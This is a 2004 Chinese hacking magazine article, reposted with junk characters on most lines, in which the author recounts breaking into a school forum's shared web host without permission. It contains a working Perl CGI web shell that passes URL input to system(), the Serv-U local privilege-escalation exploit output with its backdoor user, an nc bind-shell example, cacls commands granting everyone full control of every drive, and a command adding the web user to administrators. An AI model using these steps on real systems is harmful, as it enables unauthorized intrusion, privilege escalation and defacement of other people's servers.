剑走偏锋——灵巧的旁注攻击 : d8 W2 k3 W" {( ]( R
本文作者:angel! H' W* ]. w3 f0 h/ i2 u* G
文章性质:原创
- l: R7 S4 w' m! a( W2 \& T发布日期:2004-11-09
. b: p$ z+ y9 w% F9 h注意:8 m9 G. A j7 h: ?9 l4 T; S
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
8 j/ e$ l+ H; |4 `% z! R本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。$ N! n3 F! T! N- m
9 H' a' ~0 b2 E. j8 F4 J% w; i 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
( y' S1 H1 d; L2 |( A; y, U1 m& O1 E
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 5 \. ?* D1 V9 n3 o2 G: Q
2 E) `, X( I/ x& T
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ) N& B# |0 H# I6 e2 S& r
+ g" k& @. ~# H6 ? 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ! N4 `0 X% U( k! O5 Q
8 S0 ?) J9 G2 r$ q
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
9 j o9 a, q! r/ Y0 Z9 t* j$ r$ n# D" B- V8 w
没有目的的跳转目录着……
! Z+ s; U) K6 L9 f+ q: }6 e: Z( U( j, V" X6 F! o
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… * ^9 j. r( f& k* i, Q
* {$ ?# n2 R. y ^' v0 f6 f6 S; ~ 结束了吗?不,我试着 FTP 一下: % ]) f+ B l2 F- J) d
8 L4 s6 u$ d1 N' h* y# M+ sMicrosoft Windows 2000 [Version 5.00.2195]
( y% S) R6 r; T$ l& c1 n(C) 版权所有 1985-2000 Microsoft Corp.
: g# f6 R5 N6 T# Z0 Y3 o. D0 ?& I q
C:\Documents and Settings\Administrator>ftp www.school.com
; x- A7 x! O8 XConnected to www. school.com.
( W. L B- b7 k' K220 Welcome to FTP Server...
8 O8 X* u" S1 b# XUser (www.bjtrq.com:(none)): : v S/ E1 M' @; ]! Q
331 User name okay, need password. 3 c/ j4 b$ ?& b
Password: 4 i8 d) @* z8 o6 G1 Z, a5 [, W& ~. `+ W
530 Not logged in.
1 F4 n2 G; [) ] ?6 pLogin failed. , J9 q, Y' o5 r, K2 K
ftp> bye
. w1 v: Y4 ~" Z, ~% @: f, Z# M221 Goodbye! ; g! r# Z) N+ A! p# r
: m [0 w4 k- I( r
, D! T ?8 q) L8 i: }/ Z* s+ O" A
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 7 }* P: ~+ `: b! ^8 H
. h0 [, I4 R! a: A 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 5 h2 @& z- z0 }& e
9 W% M$ D* }4 m( N( N8 ] p5 VApplication Data' j# d8 t& A7 a) _
Documents ~+ u q+ z/ K
DRM. H; r3 t: t3 J" n) F2 b
Favorites5 ?% h4 N6 I4 N9 N$ a* T1 n
Templates
- P0 ^) x* y/ ]7 G9 l: s. s「开始」菜单
1 P# v* ?, z) |# l9 z桌面
9 g e/ M3 v5 b/ H, M# h* N
+ r* a. A. ]) r ^$ `, G
% \1 d# u( y, N5 C" F 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
^' q" j# i' ?; T2 w. ^' G$ }$ X! ~6 i% E. u- J# R+ U7 x
ActiveState ActivePerl 5.8. H: i, Y4 }5 j. g, N' J
Administrative Tools
- L, J) S- _' @1 N+ F' |, p YDeerfield.com' q5 B6 f1 b5 q7 h( u4 Y
DTemp4 g- j7 ^! A- H# ?, w9 a
IPSentry/ Z" M9 [$ u. p. d
MBM 5- B2 A$ ~+ l, w# a
NetMeter$ |9 Q. K4 J+ E5 P u
Network ICE
* z8 j+ r; u2 O/ nPersits Software AspEmail. u6 n! I& D: z! }
Persits Software AspJpeg
8 }- S! I8 _) j7 P& ZServ-U FTP Server4 E6 B' Z3 [2 l: y6 W& v
Symantec Client Security4 I- t h5 q# N9 q3 b9 U8 v
Windows 优化大师3 a P7 q: L9 [' E% ^" E1 c
WinRAR
$ H: j. N2 p% y$ U b. b/ D" E启动
; L& B7 d' ?% B8 ?管理工具" d7 s* ~3 J. z+ N% m6 ^0 `- G
附件/ ^" F7 r4 N( t6 E' X
O! f E+ D% j' U0 U
: R9 x' Y& T0 V9 H X
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
. g& x0 Q2 F S j, I4 i1 x5 N. s5 v" U, n* v5 F6 s" |% [
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ B$ E' [! Z- `. A6 w: b7 _4 v' g' P; r$ C- W& ?
User281=angel|1|0
1 y' o) A. a7 [1 U
/ z0 H' v. K) I/ M" L% Q6 O
. z; O1 i8 W' r% u N- K. [ 然后加上 7 G* x; }7 s. v5 p0 Y
- z' h2 Q" E- ?0 T[USER=angel|1]
. P3 M/ N! r4 K1 f0 LPassword=ng98F85379EA68DBF97BAADCA99B69B805
8 X: z0 u' q& V. u# DHomeDir=D:\websites
- o: l, o+ I0 g: B1 X: VRelPaths=1
5 w: B1 a9 D! v/ v% qTimeOut=600
) h4 H3 p/ N2 sMaintenance=System
# G, q" |7 U2 L7 a6 @Access1=D:\websites|RWAMELCDP3 s4 L7 F/ P% I& S
SKEYValues=; K. S, v: c8 J+ p! u
/ w3 G% ^; }3 }; a$ d9 x/ I) V$ K; R1 B E( n
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ! }. V8 H2 P% b' W% w
/ O& W' U6 I! I
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
4 e& d6 ]- s# t& a {1 q* S; a7 ~% `! y5 d
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 3 C7 u8 A# s1 `6 a
* j9 I! y" `; a# M4 V6 @8 @ ~ 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: * c' R8 M+ w {7 Z7 \) B3 e
& ]& [) d1 O7 n: {7 W( o( q, t
#!/usr/bin/perl
7 W4 B4 s2 b7 Q) y0 T/ jbinmode(STDOUT);
! [2 d% a! l7 b a: z6 asyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);! z9 e' z0 Z$ ?8 i
$_ = $ENV{QUERY_STRING};
9 {8 h+ ?+ G; R$ {' |s/%20/ /ig;. N5 d+ ~) F* q
s/%2f/\//ig;
& b" p# h0 j+ H4 W, Z, ~) E$execthis = $_;/ n/ @& o, {3 }& g
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
5 Q/ _8 D7 u x9 N8 |open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";0 W; k3 |2 f8 |0 l
system($execthis);" u8 y( z; `' r* f1 n V1 P
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
* z% y$ ^- Y# M. X# F, o u! l0 Qclose(STDERR);/ q$ n! {! g/ V2 J; n* n
close(STDOUT);* r% V3 e) G+ z' w$ O& w# g8 f* ^
exit;1 q# P1 L$ y2 T5 O* t- _" g
# m* g5 {5 r- Z4 d+ e- m
) E% H: i; R' [, z1 o 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ; ^# R( g, K0 U( o
; j( C; ^. A. W& h {
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
1 m2 x1 X. F/ ~: K. ~. ~! }( _1 I+ \8 S& t6 B" {+ |, c9 j
http://anyhost//cmd.pl?d:\user\bin\su.exe
9 |( p6 C, m2 n, d6 \1 x 4 f- ]6 G {, |, b! J
, g& \6 Q8 f) b4 I4 m- d! ?1 k8 n. ]3 ^
返回:
3 E4 ~3 t7 A; p s$ j; C \4 D2 X: u( U4 `, ?
Serv-u >3.x Local Exploit by xiaolu
5 _: `8 S, A6 S* ~8 r0 C- n/ k% t
. h! D5 V2 ?& y6 a$ }USAGE: serv-u.exe "command" 6 ]/ F8 ~5 C0 I ^
a( m; ]& ?8 N/ L7 @
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
" q# J$ q0 |* w# n
! }4 J. Y6 M2 w' z: R ~
* a; G7 r8 A7 X- K( J: q 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: / A! s& F5 p# _ h: E6 {4 h8 F
: O' u g, g! L" i& v* ]8 U# M7 Q
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
( w5 {" e& o' H O7 c2 u4 D8 b: C |4 W+ u; n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
1 M7 y- i6 q% T/ w2 @
- H; I4 f8 d- J) mhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" , ?. d+ B' D( r5 n
) |/ N P. m. ?9 \9 {% t3 J% B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 3 p& m0 |& i2 ^0 p
- P7 J' q9 e; l
3 y9 b4 T" D; H) t9 J% e
返回下面的信息,就表示成功了!!!
, z$ M$ ]1 d+ l7 I
% O+ Y$ C e; s% e1 LServ-u >3.x Local Exploit by xiaolu
* K i* \2 v& U& `- { ^4 T9 l; z; U" B# z, W
<220 Serv-U FTP Server v5.2 for WinSock ready... ; j: Y7 b$ W- d
+ ]( r4 J& |; O9 [1 }>USER LocalAdministrator
6 x" X5 t9 L3 ?8 v- H9 W% l; ~+ A4 i x
<331 User name okay, need password. ' u; |/ m0 M# b" {* k( u a' D5 E
+ y" @: ]4 N8 R% z) [6 {
****************************************************** , y# Y1 X; f" ?- e* `- m: o1 s9 z
6 {' x; O+ k5 ]0 y& L0 K% _- \
>PASS #l@$ak#.lk;0@P + e- {6 N6 b+ U3 H# i% p3 P6 M
8 o# Z# t* K8 L* b<230 User logged in, proceed. 8 _, ?% ^+ B' e
$ N: f+ }8 ~+ x. u2 J# u4 b) H
****************************************************** # I* S) M) t! o: p' {, p" I
~8 V! S- B+ m" E8 i( Q>SITE MAINTENANCE ( b$ L3 E* |0 I# Y
! [+ x" B o. A
****************************************************** / J3 e) e" Z4 d# \, l: C& E
1 w# v# A* p# C8 J% a
[+] Creating New Domain...
# x# d+ g' c. _ j9 Q
/ Z' a' C7 @1 \# K<200-DomainID=2 3 k* m% _, Y9 ]4 \/ {7 u- @3 `7 F7 X
9 M8 n* U1 B) p3 m5 m<220 Domain settings saved
9 h3 n+ l, H6 |! A. ]9 g5 c- X9 Q! u( N- r% b. F7 r E' H
******************************************************
- e0 K& I2 s. M% ?: |) j, Y: h& K) i( t* r4 N+ D9 V3 \5 b e* V) P8 C
[+] Domain xl:2 Created
( W f7 _9 @- P% g4 {6 p& l9 p$ n% R8 K0 y/ j: @
[+] Creating Evil User
0 i0 F$ r4 f. D9 T0 f7 e. z0 `, T% |- }8 M
<200-User=xl . B% f, w3 j Q
, I0 N3 Z, m- I3 ~3 M, j# W2 c200 User settings saved
% ]* v2 C5 o( m* B; x2 ~: N! P0 F6 n+ n# W: K1 Z0 F
******************************************************
7 i& s& _) t$ z6 r* p
( f2 {* t# T- v, ]( ^) S[+] Now Exploiting...
9 S9 K* ?0 I, V* ~* T' f
3 B( A# Q+ {8 `; C [>USER xl : D7 k9 h& h0 p2 A0 k/ w8 s
' b4 B: [ d# F<331 User name okay, need password.
: y- r1 A+ f! J8 B* J+ V/ ~2 {9 S" c5 W1 f: g1 S% I
****************************************************** ; q9 P( v4 w9 j/ N) S" p, Z
R8 I: Q8 J0 t# f
>PASS 111111 / M. W& T6 t- K6 M
7 [4 l" p) A" r2 B
<230 User logged in, proceed.
1 b2 C, v1 _' e& O/ v/ @5 V- a% H- m/ F+ d
******************************************************
$ i& H7 z2 }; S A' w3 t1 r
: L( u( N8 m2 x& T* U3 |[+] Now Executing: cacls.exe c: /E /T /G everyone:F
' l; C9 v! @2 r) A3 U& ^& A/ T9 m
) Q2 L: R9 J2 ]# I% U<220 Domain deleted $ ?# X0 w% `. n! M3 P% u
0 y1 y* ?; R1 l+ M
****************************************************** ( {: b; A% g% W m
2 E+ R" {$ U Z e) T L$ m
# H% _) O9 T1 V$ S0 \
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ! |9 P) y( f) @. I7 i& v$ G7 q; ^
7 c& Z7 J# i; T2 O+ x/ `6 H
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 0 E! a( g+ \4 M& |8 ?
9 ]2 Y! b) V$ D0 ~8 t
/ u1 t6 V" \& a/ O' q* k# P 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 . H. f) e. ]) J/ u% B }, C
( W7 ]9 p' r$ M, w7 } P$ L
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。. f2 v. x8 v* ~
9 W# r6 K; W5 r' B& {$ T/ ^ " S6 e5 b# f$ x. U, h. `# ?
|